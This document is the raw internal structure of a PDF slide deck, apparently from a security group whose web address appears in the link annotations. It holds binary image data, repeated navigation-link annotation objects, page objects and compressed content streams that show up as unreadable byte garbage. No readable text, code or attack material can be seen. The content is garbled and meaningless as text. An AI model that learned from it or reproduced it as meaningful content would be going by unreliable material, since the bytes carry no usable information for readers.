DZ뺢(fz,˓WO^T˲J'$;ϫRtk۶u]WUz*J=F(Vj%& àͧId\n۶m0TC4Myx_04M܅aضv].ޓ,,ctͲlJic̥$O- W^o$J?"%$I,=nڝ06!1F1F=t 3ޗsM轛9u7Rbpa^(]܆'IQkdѽ-j\.=XI*ރohUUAp;Ϯ{kvGcL$;Ѱ P|(% 8t O=Fr\^(^!+Z#)Z5Ѓ"Rg7ODn?;3KU 0 ^E(+k+RtKSӽe~E%:1=H\t{y5@;S䃮| S10#R1vfg|BΜ,>>Kri^軾ɿj6l:L ~FGG/ӟ^s+-Lu [h')r?هJyDJ<㟗)|y@w@/q~eǾcaNKڈY|>#}: 0 fҠקQ\*(}P"%﫪(}v8$H `>1u08aj$)́Ӡ94tQ%I ~1p * yWI~vB,E/}h? UJ Hu]+LNa$K]E%cSk#R9g}0 1Ƙ`/^2$IXkl6n/ u]4UUc<| UU54 mfSO˓vDQTfi64My4ף RskmYOT,ˮt=#RGpΥi6M篺[Eaf1Esރ'"%^8 E8V{虨^ qH W6c}+L2a*X>Mӟ*)'AZ(:oǹqᴻGQZ i']8ikmUUG>{4oooŢ(,qҝl(Wqj}_Ub|9WɑRaTH פRyRQ%Ir0,2$In۶ma8ay޶m}.0V<0JV:u̓Pz.r?2R.J[u"%^V̽ cLYMӨ(8I}ȇFQ]߇YkH 0  7+"նn>;ş,fzYk,/\ƘiSeEYACc(7TUUMnGkjieUU EcaU?=pyZcEJTTTuqgYaE0q\.0q>8uSO#"%^jh>>]88^9w8OR( G>1kHa4Ujޥ >"%^PQMw-:Y$M|qqUU?REeYOgI// ömWU =;:n{8P T*JD S6`J%x' c{Mr(89N"&p^?gOJ$%$(~ΊWu~>\Q-IJeXUU۶|>}I},}ߟ~߶mUUeYzR')SC$Oib$c]׷G!)'zk]44MdOyop8izֳX+8Ɗ<ϋizfaqYEQUUYm;I H$IӴ")YEq)!'_}v[.%6HJl )AR`4MmzyI$4i>=KR|ِu]4ONӴq|뺮qaxSZOp84Ms>g5tٙܬxBu^R?ya%GEQZQ1Nu?rq|a(2yNdr9WuK*]VnI UѶmL*MӾR\=baiS|^ZQ|\DZ(i~pyWU{ .o-6]O)7~#ɿ<ކ]׭yHJ PUҐyn5u笿g>Diʲ\bզ,ˮt˓>6Nx2+.2,4zxi^| PYZJeQt"nˀImb yZ6\kvˢ;=nQY q,[dEQy> C۶_y eYu$X(6|d<4]^?7s<ǪX;?Q۶8mQ;+]4Mx,2vKeq.2sTFn;l}4<ϳ,;l8hɔD[[ry;[oeAO]]׭ƴcl(^$E!foi:NQ>N.֍iqku!5> >> endobj 681 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 682 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 683 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation14) >> >> endobj 684 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 685 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation13) >> >> endobj 686 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation13) >> >> endobj 687 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation14) >> >> endobj 688 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 689 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 690 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 691 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 692 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 693 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 694 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 695 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 696 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 697 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 698 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 699 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 700 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 701 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 702 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 703 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 704 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 705 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 259.104 363.831 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 706 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 253.713 363.831 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 707 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 181.43 -0.996 290.32 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 708 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm5 119 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm6 120 0 R /Im7 118 0 R /Im9 679 0 R >> /ProcSet [ /PDF /Text /ImageC ] >> endobj 709 0 obj << /Type /Page /Contents 710 0 R /Resources 708 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 712 0 R /Annots [ 680 0 R 681 0 R 682 0 R 683 0 R 684 0 R 685 0 R 686 0 R 687 0 R 688 0 R 689 0 R 690 0 R 691 0 R 692 0 R 693 0 R 694 0 R 695 0 R 696 0 R 697 0 R 698 0 R 699 0 R 700 0 R 701 0 R 702 0 R 703 0 R 704 0 R 705 0 R 706 0 R 707 0 R ] /AA << /O << /N /NextPage /S /Named >> >> >> endobj 710 0 obj << /Length 2286 /Filter /FlateDecode >>stream xkoGܗVn~K^p~лv XVBGr+Xr$hp\ v{s VZ  ixЖ)Tݵx -QRkxvN>ոPjhU &#'TtȤFI6_rL e'"reT*;:rI:Z-;؈Ŷ,C:>0$rQD  ^k`D#VZZT0`K ؁ᘉ1QfeZ T&vx2Dˤ>bZ!̪kɵvljvl&1{Н@Z * '%J5cW ̽,цً(KغIeك<^$#p->=(/I`! V/ВYRgoEB'}N}*(4X ~$=mORlJ3|9Ŕ\<# UL뜐(\FFH"\pv砜 $ݱ R£B* <(/CfiYT-4ք_+NS[֝J2EFgJ8{yhvj;(DU(zy >T2.ڨނ QWҺғ<-VA].;ǹJcWNDT_:K Iè)n2D%AC'bhp;#w! A݃ )n<c8}08$ل3:>xvpx"3]9-/OѴ^&留%@{|7:#ԕ Qq&޾2IYc1}IMܑ;{Ͽ%mp,hYUIflH ~/ͪŻe] f3n2MWyVEt\yMq< "f~kNXzsqNy}T/## 6'q9A㜑IՃ=Jcd:Zx£#Vƺ);З)!|lTI.@xHr y# T%BBn(<>C܃-! e^ȏŨ^ TH냟)bedF`}JDVF-`=)dh *q XX9i+ COM1^&jJ Ѥĺ@P&$k }I h !$+v4-IT*D,Hx 9#%4y#3Eotx.J+H-PIq 2k|5fa/qX'E$F94y3+\ϴu n\g-g=~6n>ȡ!%"Rj=]u:h/s\f>09硳n޺f_7cYeyl6z>J"-{6S*F"͛iCd$!9DaB;A9"rˆ 4 >$֌.:jA+˹RHwcz%9%k$w\vt%j!ҵej9Fk.b V-1H lm3 j9kM?.0dˆSHn&Zؐ+thOxSS* U,FvFB精eO9q.QNj{\+zh3osX0+Vۑ^_fnR83wwR{Ҿ۰ #;gIy,3R.m_;-~T6&pA߀3i<^; *e\uZt{#wƲ׻7 Ý|~f> T˟~Gp> endobj 712 0 obj << /Count 6 /Kids [ 709 0 R 743 0 R 776 0 R 811 0 R 850 0 R 884 0 R ] /Type /Pages /Parent 1288 0 R >> endobj 713 0 obj << /D [ 743 0 R /XYZ 334.488 1.245 null ] >> endobj 714 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 715 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation13) >> >> endobj 716 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 717 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation15) >> >> endobj 718 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation13) >> >> endobj 719 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation14) >> >> endobj 720 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation14) >> >> endobj 721 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation15) >> >> endobj 722 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 723 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 724 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 725 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 726 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 727 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 728 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 729 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 730 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 731 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 732 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 733 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 734 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 735 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 736 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 737 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 738 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 739 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 259.104 363.831 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 740 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 253.713 363.831 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 741 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 181.43 -0.996 290.32 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 742 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F56 205 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm8 169 0 R /Fm9 170 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 743 0 obj << /Type /Page /Contents 744 0 R /Resources 742 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 712 0 R /Annots [ 714 0 R 715 0 R 716 0 R 717 0 R 718 0 R 719 0 R 720 0 R 721 0 R 722 0 R 723 0 R 724 0 R 725 0 R 726 0 R 727 0 R 728 0 R 729 0 R 730 0 R 731 0 R 732 0 R 733 0 R 734 0 R 735 0 R 736 0 R 737 0 R 738 0 R 739 0 R 740 0 R 741 0 R ] /AA << /O << /N /NextPage /S /Named >> >> >> endobj 744 0 obj << /Length 2024 /Filter /FlateDecode >>stream xYYo7~ׯ`_`ѼG@cCj,[s ݕvbq ,.r曃CV3&؋h%K^L9ťlYLnyy&ZhƱ% 2tƅ,pK ^qޑ#+YT;Z;^FIV{Ú[alE@ J}{GШdJkC<7%msr;!|>0\se8!8!lL$ ^!Z0/ bl`p̄<úHQM;cy%(&|Ev.c(gZ[|0-_ b dohrRT}$ey g3! K0]Isޤ%=GApHB/N 2{U's$A[>/Ѿ'Uۮ `4x8pKٕwp]|<`yNk lə, H E Xoa5WHQ^".UC+'}I_bdR#h^2{,*x dmTJ.@0)aRnT T#JIm[ lѭ ZylP5Ňj,bVM 4ԕtOi7kHY; oU綔&55kl* j̒]E|cj={Fʑ.;ACGr]6=,`ӈ \Fr;wmS pH;opHZwsk5N ],`HEX̂od*~pÑ (Hw}ߦ8G:R(ǮW2LÿO^> lT%k#5p/* ==o\-n.o`wl)g1z+p!O`Q%4܅D$0+쫞k xbG ME6V_A+>wPjyQR~V3WCp8a**p7M4[S NRξg.6"2 Rr[yV.ּ9. C_-&<؟$*fS:ˀ]/iLO2$8"[3Z 3cj^lp:*Xk(AI8re<rHAgGR<RtthnF >_ iWKij׻`K QQb~Aag^i !@nL1ޒbcLͱ(L-{vjL}o1Ddc:Wrl195ṃjq,fUdu ,eˣw4#%y~(yu_.Q z?3b""('91iVqjq#c觶 AiP,s`.OZ a)DXA/"1$Yi~A3'Xti0l68o$ºu9]$򪦽0X)gV \jcYl?es7g6xAjnv֌\}.bq/##YGqF7Iێom-bQsH>迩fu1({j$ k1Vݔ.Oȋvs*_t:/Jr!$2>OӱԿ';ӹlrGY#}98>`a%a/)Uî?Fz|k=7 ~ݺf[Zp= a endstream endobj 745 0 obj << /D [ 743 0 R /XYZ 334.488 1.245 null ] >> endobj 746 0 obj << /D [ 776 0 R /XYZ 334.488 1.245 null ] >> endobj 747 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 748 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation14) >> >> endobj 749 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 750 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 751 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation14) >> >> endobj 752 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation15) >> >> endobj 753 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation15) >> >> endobj 754 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 755 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 756 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 757 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 758 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 759 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 760 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 761 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 762 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 763 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 764 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 765 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 766 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 767 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 768 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 769 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 770 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 771 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 772 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 259.104 363.831 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 773 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 253.713 363.831 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 774 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 181.43 -0.996 290.32 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 775 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F69 778 0 R /F13 779 0 R /F10 780 0 R /F15 155 0 R /F53 154 0 R /F14 592 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm16 494 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm17 495 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 776 0 obj << /Type /Page /Contents 777 0 R /Resources 775 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 712 0 R /Annots [ 747 0 R 748 0 R 749 0 R 750 0 R 751 0 R 752 0 R 753 0 R 754 0 R 755 0 R 756 0 R 757 0 R 758 0 R 759 0 R 760 0 R 761 0 R 762 0 R 763 0 R 764 0 R 765 0 R 766 0 R 767 0 R 768 0 R 769 0 R 770 0 R 771 0 R 772 0 R 773 0 R 774 0 R ] /AA << /O << /N /NextPage /S /Named >> >> >> endobj 777 0 obj << /Length 3703 /Filter /FlateDecode >>stream x\[sܶ~ׯ`_դq#.S_ZO<%w3j-kFkŒ4\rIJK(I\sW^UUJɜj*i%T7۝F{_º3'pUh[G'\FUzǛ@t 1Ix 7(eY|% RTӿomzp#[ >9AbwJ11P7VDWHyTTH1icReLЍ(,~d ̈o-(2%JIz xNWPsnŢ˖ eBM}IżX_9d ",^;s*=0J5̴}d`@ 0Zxp} WuAXu[aj0'ГDxe1 }dD ̼hiՑ4)+Ado)"cWkdjv{0ywCA]huByw4&ho8_!~: } Dg!Pgט#Scr8H"?g$\L3mJi)C\2nQ l e8x i0Nf4@T} <7ǹx+L 0tpJ:N~L mI ZEvZdml0zyaCYUj7'2͸q,ǠgAWlbh5`s dKU( (vjKۨ]AuuvJ3g1LV#}N).^^һBktT+р,` 8DwuQ!q5fbSatôc !!suhjvf ^>Dv0[bx0C8*Ldb!O=1ڵq2`%k%D7X|O_1w4ockF/NǽKZ"|¨wi$e o#p8kh opA09Є4Kٓs&]tS3de_V'Q-|O\i4ke $3M k^0(KۗWiܴj$Aƕw͗Qfji&=@ ik`Jdq) $.= ߅@N'TȯI2]÷40CO~4`@*=Z@ZJI>0 ku 4? &m6{RH R@ڸΗqR2jՌO? )8w%߫񀴸QwUa8aj92ڹ!ŐJ>rL!'As7/ti2'8ciwεOdˇc:e,xq),z=H9`Y{4s1[ Ue;3kSylPfJ'WvPCܳdr1]Dbdpұjul5ѐSZ/^R(/b,de^DX-$}N{7t\۴-F0\jF2n${^?l[{v<`i}D Vs܄ڀ?qc-GоJZ߆'hK}ɫ:3黶@0 鸔'i{]))AU#PB 4X|C=\YXQ--7wpwwKgPǡmo.~)(8;M!S ;!`ģ&nEN#a0N{Hlhr7ڙ&0ՈjW[bEc#|\zWh&xab§ ~ d<IO.4U# d=ch0:|Y'uK@c >.ϷDTܣOYt32q 